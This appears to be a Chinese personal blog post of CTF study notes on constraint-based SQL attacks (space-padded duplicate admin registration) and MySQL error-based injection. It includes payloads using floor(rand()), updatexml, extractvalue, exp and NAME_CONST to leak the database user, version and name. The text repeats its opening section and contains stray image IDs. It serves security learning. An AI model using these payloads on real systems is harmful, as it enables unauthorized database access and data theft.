CTF-基于约束的sql攻击

CTF-基于约束的sql攻击


用空格代替空位置,表的字段约束为30个字符,如果插入admin null*30,那么就会重新插入新的记录,此时如果在select就会含有好几个admin用户

报错注入


floor报错

简单的一个公式:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a);

and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))a)

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
a from information_schema.columns group by a;

rand()用于 产生一个0-1的随机数

floor()向下取整

rand()函数生成0-1的函数,使用floor向下取整,值是固定的0,我们将rand*2,得到的值是不固定的,它是0或者1

select count(*) from table1 group by floor(rand()*2)

CTF-基于约束的sql攻击


用空格代替空位置,表的字段约束为30个字符,如果插入admin null*30,那么就会重新插入新的记录,此时如果在select就会含有好几个admin用户

报错注入


floor报错

简单的一个公式:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a);

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
a from information_schema.columns group by a;

rand()用于 产生一个0-1的随机数

floor()向下取整

rand()函数生成0-1的函数,使用floor向下取整,值是固定的0,我们将rand*2,得到的值是不固定的,它是0或者1

select count(*) from table1 group by floor(rand()*2)

select count(*) from table3 group by floor(rand()*2)

报错和表的记录数量有关。加了0 必然报错

计算count(*)的时候,

group by ‘id’根据id的列的进行分组,

1571405037334

1571405116585

1571405242737

updatexml(1,concat(0x7e,(version())),0) 第二个徐娅xpath格式的字符串没输入不符合,但是带出的数据是32位

extractvalue(1,concat(0x7e,(select database()))) and exp(~(select * from (select user())a))

Name_const()具有局限性

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a; 限制很大。


  转载请注明: 星晴 CTF-基于约束的sql攻击

 上一篇
ctf解题思路笔记 ctf解题思路笔记
0x01 越来越难 sql注入-》ssrf 栈利用-》堆利用 古典密码 -》 区块链 容易入门,难以精通ctf-wiki:社区,新手友好 大量WP,大量OJ 难以提升,需要大量的精力 今年:硬核 内核提权,虚拟机逃逸,浏览器漏洞,1da
2019-11-16 starjian
下一篇 
css学习笔记div布局 css学习笔记div布局
1. 使用table布局的一些缺点 采用表格容易出错,嵌套层级很多,一旦出现嵌套顺序错乱,整个页面达不到效果 采用表格布局页面不够灵活,动一块整个表格的布局就得变 2. 引入css 外部样式表:link标签 内部:style标签编写 行内
2019-11-16 starjian
  目录